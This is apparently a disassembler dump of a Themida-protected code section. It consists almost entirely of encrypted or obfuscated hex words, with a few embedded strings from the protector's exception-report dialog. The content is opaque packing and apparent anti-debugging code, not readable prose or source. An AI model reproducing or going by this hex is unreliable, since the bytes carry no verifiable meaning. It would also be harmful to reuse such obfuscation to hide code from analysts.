DATA XREF: Themida_:00548FE0o ; Themida_:00549AB0o align 4 dd 12E900h, 0FB250000h, 42DAACCEh, 6CEA4C2Bh, 13D580Fh dd 0FCD4C8CDh, 8DD2B70Fh, 16FAE985h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 99283625h dd 19E5F9E5h, 830F504Eh, 5, 0C024D9B9h, 38858D0Bh, 0F0616FBh dd 8950C8BFh, 141CB58Dh, 995FF06h, 66061415h, 831619B9h dd 6A10C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 393B0CC3h, 76C12A19h, 10E8D4h, 0F3150000h dd 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 0AE9663Dh, 99000000h dd 0E96CACE8h, 0F60E0B10h, 0C08B5F39h, 9131BF66h, 30B1BD83h dd 75000614h, 0E1BD8309h, 6141Ah, 53501974h, 0D3B8C08Bh dd 89000007h, 141A4985h, 3A9D8D06h, 0FF0616B7h, 83585BD3h dd 141AE1BDh, 17740006h, 0D3B85350h, 89000007h, 141A4985h dd 299D8D06h, 0FF0616B4h, 0F585BD3h, 9E9F8B7h, 3E000000h dd 0E75DB30Eh, 1528929Eh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0C8C283C3h, 29899D89h dd 0BD810614h, 616F962h, 6165726Fh, 0B1840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 89118BC3h, 4798F8E6h, 958B1651h, 6140619h, 1ACDBD31h dd 858D0614h, 616F9DAh, 17858D50h, 500616FBh, 0FB38858Dh dd 0FF500616h, 14150995h, 0CC48306h, 1A5985C6h, 68440614h dd 96A3184Fh, 1145B5FFh, 858D0614h, 6143B13h, 0D88BD0FFh dd 0FB38858Dh, 0FF500616h, 62858DD3h, 500616F9h, 0F9DA858Dh dd 83500616h, 1414CDBDh, 8740006h, 0FB00858Dh, 6EB0616h dd 0FAE9858Dh, 8D500616h, 16FB3885h, 95FF5006h, 6141509h dd 6610C483h, 0AADFDF81h, 0FFCBBF0Fh, 140C8595h, 0F88B6606h dd 0FF25h, 0ACD68000h, 0F05F883h, 5D83h, 0CBBF0F00h, 1D7985C7h dd 10614h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 6E242EC3h, 96858DF9h, 800616F9h dd 0B589DDF6h, 614221Dh, 74E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD83409Eh dd 61414CDh, 34840F00h, 0B5000000h, 0C1858D3Eh, 0F0616F9h dd 888h, 880F5700h, 0 dd 2FE959h, 8A0F0000h, 13h, 0EE9h, 96BA1400h, 0C98CA7AAh dd 5048C203h, 8DCB0BFBh, 16F9A385h, 4D852906h, 52061404h dd 11B58953h, 59061414h, 0D685895Ah, 6A0616F9h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 918AC355h, 0D1958BA4h, 83061400h, 1414CDBDh, 850F0006h dd 28h, 83FE8B66h, 17095DBDh, 840F0006h, 2Ah, 13E9h, 0E160F800h dd 0C768901h, 0B08FBDDCh, 0B3CD8BFh, 0D249EC7Ah, 111CE9h dd 81666000h, 89EA8FC1h, 1414D19Dh, 3E96106h, 66000005h dd 0B4F6F181h, 0B799589h, 0C08B0614h, 12E9h, 9F683B00h dd 0DA71975Fh, 66527555h, 314EE7CDh, 833C17CBh, 1430B1BDh dd 9750006h, 1AE1BD83h, 74000614h, 8B535019h, 7D4B8C0h dd 85890000h, 6141A49h, 0B73A9D8Dh, 0D3FF0616h, 0BD83585Bh dd 6141AE1h, 50177400h, 7D4B853h, 85890000h, 6141A49h dd 0B4299D8Dh, 0D3FF0616h, 0F88B585Bh, 2C35B589h, 0C08B0614h dd 13E9h, 68151E00h, 0D29C04E9h, 0A68EBD55h, 0AAF08318h dd 7EEED8B1h, 0F003F68h, 12E800h, 0E1350000h, 22C9ADBCh dd 0CA225F04h, 31B322FEh, 9ECFDC36h, 0D953B3BFh, 6A5A40h dd 4840Fh, 0B9660000h, 6AC5C6h, 0D595FFF5h, 906140Bh, 140B3585h dd 6E906h, 9BAB0000h, 8DB13963h, 850FC085h, 1Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6EC35242h, 896B9C0Bh dd 16F95A85h, 0DDBD8B06h, 6A061416h, 29BD0900h, 6A06142Ch dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 8D8B89ACh, 614319Dh, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 8905CFC3h dd 898D5252h, 1414A5BDh, 89006A06h, 1421BDB5h, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0FEAAC353h, 0F7C78002h, 66567F02h, 0CD59EA81h dd 38858D5Ah, 6A0616FBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 4B76C351h, 0BA6050EDh dd 65D330DAh, 13658589h, 6A610614h, 81958B01h, 6A061419h dd 890F6001h, 6, 0D298D8Bh, 0BD890614h, 61431F9h, 6AD78B61h dd 0ADBD8B01h, 68061410h, 0F01FFh, 0D21ABA66h, 14CDBD83h dd 0F000614h, 3784h, 0EE800h, 7FAC0000h, 57B6CD4Fh, 9145CF69h dd 0C799DA2Dh, 0B7858D59h, 0F0616F9h, 680h, 0E18D8B00h dd 8B061424h, 14265195h, 25E906h, 0BD8B0000h, 61404DDh dd 0F98D858Dh, 0DE80616h, 0D1000000h, 978FDAD3h, 0E0623C61h dd 0BD284ABAh, 33D9589h, 505A0614h, 312FBA66h, 0A5BD2950h dd 0FF061400h, 16F95AB5h, 0FFF08A06h, 16F94695h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0FF1AC1E6h, 0A70CCFBAh, 9529FC4Eh, 614007Dh, 850FC085h dd 2Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h dd 0C0C35343h, 88BF6426h, 0E9095820h, 72h, 1A91BD89h, 85890614h dd 616F95Eh, 10E9h, 2135F00h, 8D55A283h, 0F599583Bh, 0BEB437BFh dd 5EB5FF0Dh, 6A0616F9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0BA96C351h, 0B9532820h dd 3671960h, 2A995FFh, 958B0614h, 61412C9h, 850FC085h dd 12h, 0C8F0Fh, 890F0000h, 6, 919BD8Bh, 106A0614h, 0F3CE680h dd 0BD83F9B7h, 61414CDh, 41840F00h, 8D000000h, 16F9B785h dd 6830F06h, 29000000h, 140825BDh, 36E906h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0E4FEC3h, 9B5958Bh, 0BD8B0614h, 6140FF5h, 0F98D858Dh dd 9D010616h, 61408E9h, 6810F50h, 8B000000h, 14054D95h dd 398D8906h, 0FF061410h, 16F95AB5h, 0CEBF0F06h, 0F95295FFh dd 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0BB2D78C3h, 9BEFCB69h, 2ABF6617h, 0FC08590h dd 0C85h, 6850F00h, 89000000h, 14095585h, 5E858906h, 290616F9h dd 142279B5h, 0E8006A06h, 14h, 0DF530368h, 0C3B3F489h dd 0EE7123FAh, 6BE94995h, 48F7ADCAh, 0D4D8D8Bh, 6A5A0614h dd 0D1B53100h, 0FF061412h, 16F95EB5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0DA9E1FF8h, 0A2E8DF6Ch, 950B353Ch, 6141475h, 0AE9h dd 0CCFECC00h, 0E4047199h, 0FFA606A6h, 16F94A95h, 29850106h dd 85061425h, 1F850FC0h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 68D3C350h dd 0B5FFC687h, 616F95Eh, 2E658589h, 0CE90614h, 0B5000000h dd 21B031C5h, 40C8F97Eh, 0FF753C62h, 1402A995h, 85D18B06h dd 2B850FC0h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0BE46C353h, 73687FAFh dd 0F1A4C69Eh, 2B39B529h, 6A0614h, 61D9589h, 80680614h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 752EC356h, 7A31ADDh, 6A036Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 3D816BC3h, 0BD8BD270h, 6142659h, 29006AFCh, 14141D95h dd 1006A06h, 142281BDh, 0F98B6606h, 68h, 0BD958BC0h, 0FF061425h dd 16F9D6B5h, 118D8B06h, 0FF061408h, 14068195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 27C63317h, 0FFF8832Bh, 4BE850Fh, 0BE90000h, 58000000h dd 0C637716Ah, 16424733h, 85FF63FCh, 6170444h, 351DB501h dd 0BD830614h, 6170444h, 0C1840F02h, 0E9000003h, 13h, 430F7D37h dd 7BC23C41h, 10F0BEFh, 0E17498AFh, 8D9B774Dh, 5B243B85h dd 0C8B0F00h, 0E9000000h, 7, 0DA8DBAF5h, 0FFD97379h, 8DCAB1D0h dd 5B1E8E85h, 0E2816600h, 0D0FFFEA1h, 5800Fh, 66600000h dd 361F78Bh, 140CB18Dh, 8BC08B06h, 14199D95h, 0B1BD8306h dd 61430h, 0BD830975h, 6141AE1h, 50197400h, 0B8C08B53h dd 7D8h, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh, 1AE1BD83h dd 74000614h, 0B8535017h, 7D8h, 1A498589h, 9D8D0614h, 616B429h dd 585BD3FFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 12C35545h, 0CDB58992h, 8B061431h, 0A5BD8BC0h, 6806141Dh dd 0F003Fh, 0A0D8D89h, 6A0614h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 9BC35747h, 0E2D1D925h, 85958BF2h dd 0F061431h, 583h, 8B665300h, 6A59FBh, 23959D89h, 95FF0614h dd 6140BD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0C0C35343h, 0F970EA68h, 0B3A6CB3Ah, 1655BD8Bh dd 0C0850614h, 535958Bh, 85890614h, 616F95Ah, 0C983F181h dd 0FF681D62h, 6A000F01h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h dd 258AC357h, 0D71224D2h, 0CDBD83B3h, 61414h, 3F840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 9B4722C3h, 8C85110Fh, 30358589h, 858D0614h dd 616F9B7h, 2C19BD23h, 12E90614h, 89000000h, 1426419Dh dd 8D858D06h, 8B0616F9h, 141BA595h, 0B5FF5006h, 616F95Ah dd 915958Bh, 95FF0614h, 616F952h, 20E59501h, 85890614h dd 616F95Eh, 0FBB70F56h, 4585C759h, 61402h, 83000000h dd 16F95EBDh, 840F0006h, 1A1h, 68D0Fh, 0B5890000h, 614109Dh dd 0FC3C858Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 97A8C3h, 8B50B673h, 1409E18Dh, 68B0F06h dd 8B000000h, 14094195h, 66016A06h, 0B5FFCB8Bh, 616F95Eh dd 223D958Bh, 0C2810614h db 25h, 60h, 7Ah byte_57BA7B db 74h ; DATA XREF: Themida_:00549184o dd 0F95695FFh, 8D890616h, 61421F9h, 0F95EB5FFh, 0BD8B0616h dd 6142989h, 2A995FFh, 9D890614h, 61420FDh, 0F01FF68h dd 0BD83F500h, 61414CDh, 3E840F00h, 31000000h, 1424B99Dh dd 0B7858D06h, 6A0616F9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0F461C351h, 0ED60E2Bh dd 891D649Bh, 1545B529h, 22E90614h, 0B5000000h, 8D858D45h dd 600616F9h, 9E8h, 0E1491D00h, 0B1B0A188h, 0BF0F10E6h dd 0B58B5AFFh, 6141A5Dh, 8D335061h, 6142165h, 7E9h, 92313700h dd 0E6C739F1h, 0F95AB5FFh, 12E90616h, 0F4000000h, 0C9EB927h dd 0F839A844h, 0E56CC8F5h, 0C5D0695Eh, 5295FF2Eh, 660616F9h dd 96EFE281h, 0F95E8589h, 0BF660616h, 0B5FFDB2Dh, 616F95Eh dd 1A2D8D89h, 95FF0614h, 616F94Eh, 12E9h, 0A05CEB00h, 88C3C94Ch dd 57EA79C3h, 40DB82ADh, 0FFFCB37Fh, 16F95EB5h, 75BD2906h dd 0F061404h, 68Eh, 1ADA8100h, 0FF4C8AD9h, 1402A995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 7C0E7143h, 71C75A48h, 0F674E9F8h, 0F281FFFFh, 2C2489C8h dd 4A7B5FFh, 9D290617h, 6140A49h, 236195FFh, 860F0614h dd 3, 8BFE8B66h, 142A5D85h, 95895706h, 6140909h, 0C88B665Fh dd 562E9h, 9E900h, 7DAA0000h, 0DFD97B44h, 8DB1E9FFh, 16FC5CB5h dd 0E58D2906h, 8D06140Eh, 16A99A85h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0B4E6ADFh dd 1401ADBDh, 0E6E98106h, 8B629259h, 14241D8Dh, 81D0FF06h dd 0B0DEA1EAh, 0F006A7Ch, 95FFD2BFh, 6142EF9h, 8BF8BF0Fh dd 8E9F3h, 92330000h, 0B51242ABh, 858DDE12h, 616A99Ah dd 0E93BC180h, 0Eh, 54443865h, 13A0690Eh, 0E97D014Dh, 0D0FF8307h dd 2315BD8Bh, 6A0614h, 95FFD08Bh, 6142EF9h, 0E281C08Bh dd 249EB17Ah, 30B1BD83h, 75000614h, 0E1BD8309h, 6141Ah dd 53501974h, 0D9B8C08Bh, 89000007h, 141A4985h, 3A9D8D06h dd 0FF0616B7h, 83585BD3h, 141AE1BDh, 17740006h, 0D9B85350h dd 89000007h, 141A4985h, 299D8D06h, 0FF0616B4h, 0F8585BD3h dd 19DF8166h, 6AC08BCCh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 77F2C356h, 0B9AB80F6h dd 66B370BDh, 0E58D8B50h, 8B061400h, 0BD8D23D8h, 53061404h dd 12F59D8Dh, 38B0614h, 438B0389h, 50438950h, 4409D8Dh dd 38B0617h, 6A5B0389h, 0FE800h, 8A110000h, 0A1530D14h dd 0BC6E8409h, 895B9030h, 1ABF66D8h, 8D0F5FFCh, 12h, 0C890Fh dd 6E80000h, 0A1000000h, 3EBE470Fh, 858D5F80h, 6170440h dd 52006A50h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8BB2C66Bh, 958B606Ah, 6142C4Dh, 12F5858Dh dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 70AFA9C3h, 0F50A8F4h, 0F8Eh, 0AE900h, 89530000h dd 0A7D01BE0h, 62D28372h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 6A2CC3h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 82C35141h, 563873Bh dd 68AE41C5h, 1800h, 21BDB589h, 0E9530614h, 0Bh, 0EC34C62Eh dd 0D8456483h, 0FF133D22h, 140B6195h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0E4950B6Dh, 0AE99551h, 0BE000000h, 2A20AC9Ch, 0A33AA132h dd 958951E7h, 6140A51h, 95FFFC5Fh, 6143081h, 0A7B5FFF9h dd 8B061704h, 1415E98Dh, 6195FF06h, 66061423h, 858DCA8Bh dd 61412F5h, 1D198589h, 408B0614h, 0C744B518h, 1421E185h dd 6, 0FABF0F00h, 14CDBD83h, 0F000614h, 4684h, 0EE800h dd 3D3F0000h, 292E832Eh, 0F98F5CE8h, 3B728F0Fh, 23F99D29h dd 0F590614h, 58Bh, 0DD5DBA00h, 8C3D32AEh, 0F000000h, 19F83h dd 0B5CCB900h, 23E9751Ah, 0F000000h, 68Dh, 2D9D8900h, 3D061423h dd 98h, 17E830Fh, 8B600000h, 140C1D9Dh, 4DB86606h, 858D6152h dd 5B243Bh, 2E218589h, 0D0FF0614h, 148D0Fh, 0FE90000h dd 1D000000h, 0DBBF29CFh, 585FBA6Fh, 7A6F1B2Dh, 0D7814A78h dd 13E04D8Fh, 1E8E858Dh, 8589005Bh, 6140CB9h, 0D1C98166h dd 50D0FFC0h, 0E85BD09h, 0E85A0614h, 14h, 0B193EE47h, 2F74AEC7h dd 23E97164h, 47B5892Eh, 0A4ACE0A4h, 0FE8h, 0B1B17500h dd 0A0362D35h, 7CBD2366h, 0FB761E01h, 0CF5958Bh, 595F0614h dd 0BA66C08Bh, 0BD837AC8h, 61430B1h, 83097500h, 141AE1BDh dd 19740006h, 0C08B5350h, 0BC6B8h, 49858900h, 8D06141Ah dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h dd 0BC6B8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h dd 0D858958h, 8B06142Dh, 0EDBF60FEh, 8B1AA981h, 1416EDBDh dd 0C08B6106h, 38B0Fh, 0B70F0000h, 4D89BFFFh, 0F8836CE7h dd 29850FFFh, 0C7000000h, 140F2985h, 6, 0E9F08A00h, 0ECh dd 3A6B360h, 1403E18Dh, 31E96106h, 0F000000h, 0BD8BC9BFh dd 6142675h, 0F01F883h, 1F85h, 0E97AB600h, 0FFh, 6E8h dd 0E8F85600h, 0F263C05h, 68Eh, 8C0F00h, 5F000000h, 0FFF1BDE9h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0A8203A4Ch, 6AC08Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0EFBD7CC3h dd 8609E39Dh, 0BD83F585h, 61430B1h, 83097500h, 141AE1BDh dd 19740006h, 0C08B5350h, 7DDB8h, 49858900h, 8D06141Ah dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h dd 7DDB8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h dd 51F78158h, 665758D8h, 2A0F781h, 0DD80C08Bh, 217E9C9h dd 0D68B0000h, 244858Dh, 0A8B60617h, 16860Fh, 0AE80000h dd 24000000h, 0A1CE56CFh, 669F797Eh, 298D3370h, 59061423h dd 43C8589h, 0B5890617h, 61410C9h, 4FE9h, 0D5958B00h, 8D061405h dd 17004C85h, 54F28106h, 404EB221h, 48B0Fh, 0BA660000h dd 85895A82h, 617043Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 96C35646h, 9AB1FC0Ch, 2F98D89h, 95290614h dd 6142025h, 858D346Ah, 6140795h, 3CB5FF50h, 6A061704h dd 0C195FF00h, 83061402h, 840F07F8h, 168h, 0F6DB8C66h dd 850F04C3h, 102h, 1A5985C6h, 68560614h, 9CA8B852h, 1145B5FFh dd 858D0614h, 6143B13h, 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h dd 1704AF85h, 5985C606h, 4706141Ah, 18AC9B68h, 45B5FFECh dd 8D061411h, 143B1385h, 0FFD0FF06h, 0C6F08BD0h, 141A5985h dd 61684F06h, 0FFC62F26h, 143481B5h, 13858D06h, 0FF06143Bh dd 0AB9D8DD0h, 53061704h, 0FF56286Ah, 75C085D0h, 5985C600h dd 4106141Ah, 87649868h, 81B5FFDBh, 8D061434h, 143B1385h dd 89D0FF06h, 1704C885h, 5985C606h, 4C06141Ah, 0A4E7A468h dd 81B5FF80h, 8D061434h dd 143B1385h, 8BD0FF06h, 1704AF9Dh, 45B8D06h, 0B49D8D53h dd 53061704h, 0D0FF006Ah, 4AF9D8Bh, 3C70617h, 1, 20C43C7h dd 8B000000h, 1405F59Dh, 9985C706h, 61411h, 6A000000h dd 6A006A00h, 0AF9D8B00h, 53061704h, 0B5FF006Ah, 61704ABh dd 4C895FFh, 85C60617h, 6141A59h, 0F7976845h, 0B5FF92A5h dd 6140931h, 3B13858Dh, 0D0FF0614h, 26A006Ah, 8C66D0FFh dd 4C3F6DBh, 9D8B3275h, 61704AFh, 0C43C7h, 6A000000h, 8B006A00h dd 1704AF9Dh, 6A5306h, 4ABB5FFh, 95FF0617h, 61704C8h, 4ABB5FFh dd 95FF0617h, 6143081h, 95FF006Ah, 6142EF9h, 75858DF8h dd 29061738h, 142AC5BDh, 8D8B5006h, 614113Dh, 35FF64h dd 0FC000000h, 258964h, 0F000000h, 0BD83C9B7h, 6142309h dd 44840F00h, 0B2000000h, 0CDBD83BEh, 1061412h, 35850Fh dd 0BD800000h, 61708C8h, 28850F00h, 8B000000h, 14033D95h dd 1D6E906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 336977C3h, 0CE8DBh, 4BBC0000h, 0F5E36963h dd 14EFFE41h, 0BD8986D0h, 61402D5h, 0FC0335Fh, 1B8Fh, 12E800h dd 59E30000h, 2E0ED305h, 686069CEh, 1BC158Ah, 0ACAA6D5Eh dd 5A62EA80h, 73F0F40h, 58F640Bh, 0 dd 0E804C483h, 7, 724ED64Eh, 8B4044E4h, 140C51BDh, 6A5F06h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0D18AB4C3h, 0FFFFB83h, 1184h, 34C28100h, 0E915919Ah dd 11Eh, 304D8D29h, 94E90614h, 66000000h, 8D8BFA8Bh, 6140C65h dd 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h dd 0C245C8Bh, 0E855h, 815D0000h, 173897EDh, 0B8838B06h dd 8D000000h, 17398985h, 0B8838906h, 5D000000h, 6AC3C033h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0E6C4C357h, 0EB80364Dh, 6A4725C1h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0C426C355h, 9B75B464h, 0D8D8B45h, 8D061421h, 17388D85h dd 598D8B06h, 5006142Ah, 12E9h, 7F1D2A00h, 0DC0E11B6h dd 0FC3227E7h, 0E5DF1F7Fh, 6479D5EFh, 35FFh, 958B0000h dd 6141A89h, 30ADBD09h, 89640614h, 25h, 0EE900h, 98E60000h dd 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh, 631B509h, 0AB90614h dd 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h dd 810034B6h, 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h dd 6141B0Dh, 1, 58F64h, 83000000h, 0DF8104C4h, 15DFAE24h dd 0D459589h, 0C08B0614h, 18D38160h, 0E9513150h, 13h, 0FDFEDFD2h dd 7D100B82h, 0CB72FFA2h, 0C82CC5DEh, 612F43BDh, 30B1BD83h dd 75000614h, 0E1BD8309h, 6141Ah, 53501974h, 3DB8C08Bh dd 89000004h, 1430C185h, 0A19D8D06h, 0FF0616B7h, 83585BD3h dd 141AE1BDh, 17740006h, 3DB85350h, 89000004h, 1430C185h dd 429D8D06h, 0FF0616B4h, 0E9585BD3h, 6, 423CC1B0h, 8166CD2Dh dd 0F046DCAh, 0C08BC9BFh, 147E9h, 400h, 392E3100h, 3031h dd 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 0D09BD83h, 0F000614h dd 12D84h, 59858D00h, 500616B2h, 0B1C3858Dh, 68500616h dd 80000001h, 0B26995FFh, 858D0616h, 6173A26h, 30858D50h dd 5006173Ah, 6A006Ah, 0B1D7858Dh, 0FF500616h, 16B259B5h dd 0ED95FF06h, 8D061402h, 173A2685h, 858D5006h, 6173A34h dd 6A006A50h, 0E9858D00h, 500616B1h, 0B259B5FFh, 95FF0616h dd 61402EDh, 3A26858Dh, 8D500617h, 173A4085h, 6A5006h dd 858D006Ah, 616B236h, 59B5FF50h, 0FF0616B2h, 1402ED95h dd 26858D06h, 5006173Ah, 3A48858Dh, 6A500617h, 8D006A00h dd 16B25485h, 0B5FF5006h, 616B259h, 2ED95FFh, 858D0614h dd 6173A26h, 44858D50h, 5006173Ah, 6A006Ah, 0B23D858Dh dd 0FF500616h, 16B259B5h, 0ED95FF06h, 8D061402h, 173A2685h dd 858D5006h, 6173A38h, 6A006A50h, 45858D00h, 500616B2h dd 0B259B5FFh, 95FF0616h, 61402EDh, 3A26858Dh, 8D500617h dd 173A3C85h, 6A5006h, 858D006Ah, 616B24Ch, 59B5FF50h dd 0FF0616B2h, 1402ED95h, 59B5FF06h, 0FF0616B2h, 141CF595h dd 0A2E906h, 0BD830000h, 61423E9h, 95840F00h, 83000000h dd 1412CDBDh, 850F0006h, 11h, 2421958Bh, 0C2810614h, 1CF8h dd 0FE9h, 0F5958D00h, 8B061412h, 0C2813452h, 3BD4C340h dd 34F19589h, 0BD830614h, 61434F1h, 55840F00h, 8B000000h dd 1434F19Dh, 4CC38306h, 8589038Bh, 6173A30h, 34F19D8Bh dd 0C3830614h, 89038B50h, 173A3485h, 0F19D8B06h, 83061434h dd 38B54C3h, 3A408589h, 9D8B0617h, 61434F1h, 8B58C383h dd 44858903h, 8B06173Ah, 1434F19Dh, 5CC38306h, 8589038Bh dd 6173A38h, 0D09BD83h, 0F000614h, 0D85h, 0E9BD8300h, 61423h dd 68840Fh, 0B5FF0000h, 6173A48h, 3A3CB5FFh, 0B5FF0617h dd 6173A38h, 3A44B5FFh, 0B5FF0617h, 6173A40h, 3A34B5FFh dd 0B5FF0617h, 6173A30h, 3A2A858Dh, 8D500617h, 173A6285h dd 858D5006h, 6141DB5h, 995FF50h, 83061415h, 406A24C4h dd 3A4C858Dh, 8D500617h, 141DB585h, 6A5006h, 2C195FFh dd 16A0614h, 2EF995FFh, 0C18B0614h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h db 2, 2 dup(0) aLS db '`▀\$$Х',0 ; DATA XREF: Themida_:0054A4FCo align 4 dd 0ED815D00h, 6173DF6h, 4C261h, 0FFFFE6E9h, 0C26160FFh dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 2EB58BFFh, 8106173Eh, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 32B53B00h, 0F06173Eh dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 34F1858Bh, 18860614h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 1D95FF08h, 50061419h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 34F1858Bh, 0C60614h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 61434F1h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 61416ADh, 0 aLdLs db '▀D$',8,'▀≤',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 0AD85C700h, 61416h dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 